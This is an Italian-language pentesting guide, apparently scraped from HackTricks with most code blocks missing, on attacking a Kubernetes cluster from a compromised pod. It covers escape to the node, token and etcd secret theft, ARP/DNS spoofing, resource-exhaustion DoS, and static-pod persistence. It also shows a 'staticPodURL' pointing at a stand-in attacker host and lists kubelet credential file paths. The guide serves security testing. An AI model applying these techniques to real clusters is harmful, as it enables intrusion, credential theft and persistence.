Attacking Kubernetes from inside a Pod
Fuga dal Pod
Se sei abbastanza fortunato potresti riuscire a scappare verso il nodo:
![](https://cloud.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Fsickrov.github.io%2Fmedia%2FScreenshot-161.jpg&width=768&dpr=4&quality=100&sign=a4b7533e&sv=1)
Fuga dal pod
Per cercare di fuggire dai pod potresti aver bisogno di escalare i privilegi prima, alcune tecniche per farlo:
Puoi controllare questi docker breakouts per cercare di fuggire da un pod che hai compromesso:
Abuso dei Privilegi di Kubernetes
Come spiegato nella sezione sull'enumerazione di Kubernetes:
Kubernetes EnumerationDi solito i pod vengono eseguiti con un token dell'account di servizio al loro interno. Questo account di servizio potrebbe avere alcuni privilegi associati che potresti abusare per spostarti su altri pod o addirittura per scappare ai nodi configurati all'interno del cluster. Controlla come fare in:
Abusing Roles/ClusterRoles in KubernetesAbuso dei Privilegi Cloud
Se il pod viene eseguito all'interno di un ambiente cloud potresti essere in grado di ottenere un token dal punto di metadata e di escalare i privilegi usando questo.
Ricerca di servizi di rete vulnerabili
Essendo all'interno dell'ambiente Kubernetes, se non riesci ad escalare i privilegi abusando dei privilegi attuali dei pod e non riesci a scappare dal container, dovresti cercare potenziali servizi vulnerabili.
Servizi
A questo scopo, puoi provare a ottenere tutti i servizi dell'ambiente Kubernetes:
Di default, Kubernetes utilizza uno schema di rete piatto, il che significa che qualsiasi pod/servizio all'interno del cluster può comunicare con gli altri. Gli namespace all'interno del cluster non hanno restrizioni di sicurezza di rete di default. Chiunque nell'namespace può comunicare con altri namespace.
Scansione
Lo script Bash seguente (preso da un workshop su Kubernetes) installerà e scannerizzerà gli intervalli IP del cluster Kubernetes:
Controlla la seguente pagina per apprendere come potresti attaccare i servizi specifici di Kubernetes per compromettere altri pod/tutto l'ambiente:
Pentesting Kubernetes ServicesSniffing
Nel caso in cui il pod compromesso stia eseguendo un servizio sensibile in cui altri pod devono autenticarsi, potresti essere in grado di ottenere le credenziali inviate dagli altri pod sniffando le comunicazioni locali.
Network Spoofing
Per impostazione predefinita, tecniche come lo spoofing ARP (e grazie a questo lo spoofing DNS) funzionano nella rete di Kubernetes. Quindi, all'interno di un pod, se hai la capacità NET_RAW (che è attiva per impostazione predefinita), sarai in grado di inviare pacchetti di rete personalizzati e eseguire attacchi MitM tramite spoofing ARP a tutti i pod in esecuzione nello stesso nodo. Inoltre, se il pod malizioso è in esecuzione nello stesso nodo del server DNS, sarai in grado di eseguire un attacco di spoofing DNS a tutti i pod nel cluster.
Kubernetes Network AttacksNode DoS
Non vi è alcuna specifica di risorse nei manifest di Kubernetes e limiti non applicati per i contenitori. Come attaccante, possiamo consumare tutte le risorse in cui il pod/deployment è in esecuzione e privare di risorse altre risorse causando un DoS per l'ambiente.
Questo può essere fatto con uno strumento come stress-ng:
Puoi vedere la differenza mentre esegui stress-ng
e dopo.
Post-Esploitation del Nodo
Se sei riuscito a uscire dal container ci sono alcune cose interessanti che troverai nel nodo:
Il processo Container Runtime (Docker)
Altri pods/containers in esecuzione nel nodo che puoi sfruttare come questo (più token)
L'intero filesystem e il sistema operativo in generale
Il servizio Kube-Proxy in ascolto
Il servizio Kubelet in ascolto. Controlla i file di configurazione:
Directory:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Altri file comuni di Kubernetes:
$HOME/.kube/config
- Configurazione Utente/etc/kubernetes/kubelet.conf
- Configurazione Regolare/etc/kubernetes/bootstrap-kubelet.conf
- Configurazione Bootstrap/etc/kubernetes/manifests/etcd.yaml
- Configurazione etcd/etc/kubernetes/pki
- Chiave Kubernetes
Trova il kubeconfig del nodo
Se non riesci a trovare il file kubeconfig in uno dei percorsi precedentemente commentati, controlla l'argomento --kubeconfig
del processo kubelet:
Rubare Segreti
Lo script can-they.sh otterrà automaticamente i token di altri pod e verificherà se hanno i permessi che stai cercando (anziché controllare uno per uno):
DaemonSets Privilegiati
Un DaemonSet è un pod che verrà eseguito in tutti i nodi del cluster. Pertanto, se un DaemonSet è configurato con un account di servizio privilegiato, in TUTTI i nodi sarà possibile trovare il token di quell'account di servizio privilegiato che potresti sfruttare.
L'exploit è lo stesso della sezione precedente, ma ora non dipendi più dalla fortuna.
Pivot verso il Cloud
Se il cluster è gestito da un servizio cloud, di solito il Nodo avrà un accesso diverso all'endpoint dei metadati rispetto al Pod. Quindi, prova ad accedere all'endpoint dei metadati dal nodo (o da un pod con hostNetwork a True):
Kubernetes Pivoting to CloudsRubare etcd
Se puoi specificare il nodeName del Nodo che eseguirà il container, ottieni una shell all'interno di un nodo del control-plane e ottieni il database etcd:
I nodi del piano di controllo hanno il ruolo master e nei cluster gestiti dal cloud non sarà possibile eseguire nulla su di essi.
Leggere segreti da etcd
Se puoi eseguire il tuo pod su un nodo del piano di controllo utilizzando il selettore nodeName
nella specifica del pod, potresti avere un facile accesso al database etcd
, che contiene tutta la configurazione del cluster, compresi tutti i segreti.
Di seguito c'è un modo rapido e sporco per ottenere i segreti da etcd
se viene eseguito sul nodo del piano di controllo su cui ti trovi. Se desideri una soluzione più elegante che avvii un pod con l'utilità client etcd
etcdctl
e utilizzi le credenziali del nodo del piano di controllo per connettersi a etcd ovunque venga eseguito, dai un'occhiata a questo esempio di manifesto di @mauilion.
Controlla se etcd
è in esecuzione sul nodo del piano di controllo e vedi dove si trova il database (Questo è su un cluster creato con kubeadm
)
Visualizza i dati nel database etcd:
Estrai i token dal database e mostra il nome dell'account di servizio
Stesso comando, ma con alcuni greps per restituire solo il token predefinito nello spazio dei nomi kube-system
Persistenza dei Pod Statici/Riflessi
I Pod Statici sono gestiti direttamente dal demone kubelet su un nodo specifico, senza che il server API li osservi. A differenza dei Pod gestiti dal piano di controllo (ad esempio, un Deployment); invece, il kubelet controlla ogni Pod statico (e lo riavvia se fallisce).
Di conseguenza, i Pod statici sono sempre vincolati a un solo Kubelet su un nodo specifico.
Il kubelet cerca automaticamente di creare un Pod speculare sul server API di Kubernetes per ogni Pod statico. Ciò significa che i Pod in esecuzione su un nodo sono visibili sul server API, ma non possono essere controllati da lì. I nomi dei Pod saranno suffissi con il nome host del nodo con un trattino iniziale.
Lo spec
di un Pod statico non può fare riferimento ad altri oggetti API (ad esempio, ServiceAccount, ConfigMap, Secret, ecc. Quindi non è possibile abusare di questo comportamento per avviare un pod con un ServiceAccount arbitrario nel nodo corrente per compromettere il cluster. Ma potresti usarlo per eseguire pod in diversi namespace (nel caso sia utile per qualche motivo).
Se ti trovi all'interno dell'host del nodo, puoi far sì che crei un pod statico all'interno di se stesso. Questo è abbastanza utile perché potrebbe consentirti di creare un pod in un namespace diverso come kube-system.
Per creare un pod statico, la documentazione è di grande aiuto. Fondamentalmente hai bisogno di 2 cose:
Configurare il parametro
--pod-manifest-path=/etc/kubernetes/manifests
nel servizio kubelet, o nella configurazione kubelet (staticPodPath) e riavviare il servizioCreare la definizione sul file di definizione del pod in
/etc/kubernetes/manifests
Un altro modo più stealth sarebbe:
Modificare il parametro
staticPodURL
dal file di configurazione del kubelet e impostare qualcosa comestaticPodURL: http://attacker.com:8765/pod.yaml
. Ciò farà sì che il processo kubelet crei un pod statico ottenendo la configurazione dall'URL indicato.
Esempio di configurazione del pod per creare un pod privilegiato in kube-system preso da qui:
Eliminazione di pod + nodi non schedulabili
Se un attaccante ha compromesso un nodo e può eliminare i pod da altri nodi e rendere altri nodi non in grado di eseguire pod, i pod verranno eseguiti di nuovo nel nodo compromesso e sarà in grado di rubare i token eseguiti in essi. Per ulteriori informazioni seguire questi link.
Strumenti Automatici
Last updated